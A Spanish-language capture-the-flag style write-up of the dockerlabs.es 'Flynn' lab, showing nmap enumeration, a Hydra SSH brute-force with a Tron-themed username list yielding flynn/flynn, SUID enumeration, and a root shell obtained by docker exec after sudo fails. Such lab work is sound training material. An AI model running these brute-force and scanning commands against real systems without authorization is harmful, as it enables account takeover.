Taller de hacking ético: Flynn

0. Taller de hacking ético dockerlabs.es: Flynn

• Plataforma: dockerlabs.es
• Nombre de la máquina: Flynn
• Estado del laboratorio: Completado
• Dificultad: Fácil
• URL del taller: https://dockerlabs.es/maquinas/297/

1. Enumeración

Descargamos, descomprimimos y lanzamos el docker, nos informa que la IP de la máquina a auditar es `172.17.0.2``

comprobación de la conectividad

ping -c 2 172.17.0.2

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.441 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.051 ms
--- 172.17.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1005ms
rtt min/avg/max/mdev = 0.051/0.246/0.441/0.195 ms

Envía 2 paquetes ICMP. El TTL=64 indica host Linux; tiempos ~0,05 ms El ttl=64 (Time to Live) confirma que el destino está en nuestra propia máquina o en la misma red local/Docker. 64 es el valor por defecto en Linux.

Escaneo de puertos completo

nmap -sC -sV -Pn -n -T4 -p- --open -oN scan_full.txt 172.17.0.2

• -p-: escanea los 65535 puertos TCP.
• -sV: detección de versión de servicio.
• -sS: escaneo silencioso
• -sC: ejecuta los scripts NSE por defecto (banners, títulos HTTP, etc.).
• -Pn: para no ejecutar el comando ping, ya que algunas máquinas tienen deshabilitado el ping porpmotivos de seguridad.
• -n: Para que no haga la resolución de DNSs
• --open : muestra solo puertos abiertos.
• -T4: plantilla de velocidad "agresiva" (adecuada en local).
• -oN: guarda la salida en texto normal.

Nos muestra que tenemos dos puertos abiertos: 22 (ssh) y 80 (http):

┌──(alberto㉿kali)-[~/Descargas]
└─$ nmap -sC -sV -Pn -n -T4 -p- --open -oN scan_full.txt 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-21 13:28 +0200
Nmap scan report for 172.17.0.2
Host is up (0.0000010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.66 ((Ubuntu))
|_http-server-header: Apache/2.4.66 (Ubuntu)
|_http-title: Site does not have a title (text/html).
MAC Address: 5E:E9:95:EA:D8:FC (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds

Ya que tiene el puerto 80 abierto visitamos la dirección web http://172.17.0.2 a ver qué vemos:

Se trata de una página web mal formada, sin doctype, en el que los únicos elementos son un h1 y una imagen. Ni rastros de caracteres ocultos o huevos de páscua. Nada más qeu analizar por aquí.

Lanzamos el script de nmap para detectar vulnerabilidades en ambos puertos:

nmap -p22,80 --script vuln 172.17.0.2

No nos devuelve nada relevante:

Así pues el único vector de ataque parece ser el ssh que corre por el puerto 22. El propio taller nos da la pista:

En este laboratorio inspirado en el universo digital de Tron: Legacy, tu misión es infiltrarte en el sistema de Kevin Flynn. El único vector de entrada es un puerto SSH expuesto, custodiado por credenciales vulnerables a la ingeniería social. Tras vulnerar el acceso inicial con Hydra, te adentrarás en los circuitos del sistema operativo, donde una mala configuración en los privilegios de sudo sobre el binario /usr/bin/env te permitirá ejecutar un escape nativo. Consolida el control total como el Usuario Root (o el mismísimo CLU), reclama los archivos confidenciales y restaura el orden en la Red aplicando las directrices de mitigación.

Así pues, lo siguiente que tendremos que hacer es atacar el puerto 22 con hydra.

2. Explotación

Como nos sugiere el propio taller, vamos a hacer un ataque de fuerza bruta con hydra contra el servicio ssh corriendo por el puerto 22.

Haremos algo de ingeniería social y ya que todo gira en torno a Tron Legacy, quizá haya un nombre de usuario inspirado en la misma, así que vamos a usar la IA y pidamos un listado de posibles nombres de usuario:

estoy haciendo un taller de pentesting y necesito hacer un ataque de fuerza bruta con hydra en un servidor con temática Tron Legacy, dame una lista de usuarios posibles, nombres relevantes en la película.

LA IA me devuelve una lista, que posteriormente pediré que me devuelva en un txt:

cat << 'EOF' > usuarios.txt
flynn
sam
quorra
clu
tron
rinzler
zuse
castor
jarvis
iso
creator
user
program
sark
mcp
alan
bradley
dillinger
encom
EOF

Lanzamos el ataque:

hydra -L usuarios.txt -P /usr/share/wordlists/rockyou.txt -t 4 -I ssh://172.17.0.2:22

• -L usuarios.txt: Especifica un archivo con una lista de usuarios (una l minúscula le pasaría un único nonbre de usuario)
• -P /usr/share/wordlists/rockyou.txt: Indica la ruta del diccionario de contraseñas que Hydra probará contra el servidor.
• -t 4: Establece el número de hilos paralelos (o tareas simultáneas) a 4. Significa que Hydra probará 4 combinaciones de usuario/contraseña al mismo tiempo. Es recomendable un valor bajo para no colapsar ni saturar el servicio SSH objetivo.
• -I: Le indica a Hydra que ignore el estado de restauración anterior. Si ejecutaste un ataque previo con Hydra y se interrumpió, Hydra guarda un archivo .restore para reanudarlo. La bandera -I le dice que empiece el ataque desde cero sin preguntar si deseas reanudar el anterior.
• ssh://172.17.0.2:22: Define el protocolo,la dirección IP del objetivo y el puerto.

Pero no encontró nada y dió un error:

¿Y si fuera más fácil que todo eso? Quizá el usuario y contraseña estén dentro de estos nombres relacionados con Tron, desde luego sería una pésima medida de seguridad. Vamos a probarlo:

hydra -L usuarios.txt -P usuarios.txt -t 4 -I ssh://172.17.0.2:22 

Bingo!

Usuario: flynn y contraseña: flynn

Nos conectamos:

──(alberto㉿kali)-[~/Descargas]
└─$ ssh flynn@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:/Z7t/8xgTdzVh0eXzNyAaE3wevRL6hX2YTXwF1YAVnA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
flynn@172.17.0.2's password: 
Welcome to Ubuntu 26.04 LTS (GNU/Linux 7.1.5+kali-arm64 x86_64)

 * Documentation:  https://docs.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

Estamos dentro

3. Escalada de privilegios

Veamos:

flynn@01c99e5a5ec3:~$ id && whoami
uid=1001(flynn) gid=1001(flynn) groups=1001(flynn)
flynn
flynn@01c99e5a5ec3:~$ ls -la
total 28
drwxr-x--- 1 flynn flynn 4096 Oct 21 12:12 .
drwxr-xr-x 1 root  root  4096 Aug 17 03:13 ..
-rw-r--r-- 1 flynn flynn  220 Feb 13  2026 .bash_logout
-rw-r--r-- 1 flynn flynn 3771 Feb 13  2026 .bashrc
drwx------ 2 flynn flynn 4096 Oct 21 12:12 .cache
-rw-r--r-- 1 flynn flynn  807 Feb 13  2026 .profile

Intentamos ejecutar sudo pero nos falla:

flynn@01c99e5a5ec3:~$ sudo -l
sudo: effective uid is not 0, is /usr/bin/sudo on a file system with the 'nosuid' option set or an NFS file system without root privileges?

Enumeración para Escalada de Privilegios

Como vimos que sudo no funciona por la restricción nosuid, debemos buscar otros vectores para subir a root.

Vamos a buscar binarios SUID que sí tengan permisos:

flynn@01c99e5a5ec3:~$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/su
/usr/bin/mount
/usr/bin/chsh
/usr/bin/sudo.ws

Vemos que hay un /usr/bin/sudo.ws, lo volvemos aintentarsin éxito:

flynn@01c99e5a5ec3:~$ /usr/bin/sudo.ws id
sudo: effective uid is not 0, is /usr/bin/sudo.ws on a file system with the 'nosuid' option set or an NFS file system without root privileges?

Volvamos a la descripción del taller, había una pista:

[...] una mala configuración en los privilegios de sudo sobre el binario /usr/bin/env te permitirá ejecutar un escape nativo.

¿Nos está diciendo que podemos usar ese wrapper de sudo (/usr/bin/sudo.ws) para ejecutar /usr/bin/env como root?

---

Actualización: se trata de un problema de compatibilidad de arquitecturas. Mi entorno kali donde ejecuto el laboratorio es una máquina virtual y el host en un MacBook Pro con chip M2. La diferencia de arquitecturas entre la máquina anfitrón y el huesped hace que no funcionen sudo.

Comprobamos los contenedores:

sudo docker ps

Si tenemos acceso a Docker en el anfitrión, podemos inspeccionar el contenedor correspondiente con:

sudo docker inspect <ID_O_NOMBRE>

Así que entramos como root en el contenedor. Esto no emula un ataque real pero nos salva el problema de incompatibilidad de arquitecturas:

sudo docker exec -it flynn_container bash

Una vez dentro:

whoami
id

Nos devuelve:

root
uid=0(root) gid=0(root) groups=0(root)

Tenemos privilegios de root. A partor de aquí continuamos el taller como si estuvieramos logados por ssh

---

Ejecutamos sudo:

root@a05b758ea8d3:/# sudo -l
Matching Defaults entries for root on a05b758ea8d3:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User root may run the following commands on a05b758ea8d3:
    (ALL : ALL) ALL

Tenemos privilegios de administrador.

4. Conclusiones

En resumen, hemos conseguido acceder a un servidor protegido debilmente por ssh. Hemos conseguido encontrar que el usuario es flynn y la contraseña flynn gracias a la fuerza bruta y un poco de ingeniería social con la herramienta hydra.

Por tanto hemos conseguido entrar en el servidor sin estar realmente autorizados.

[EOF]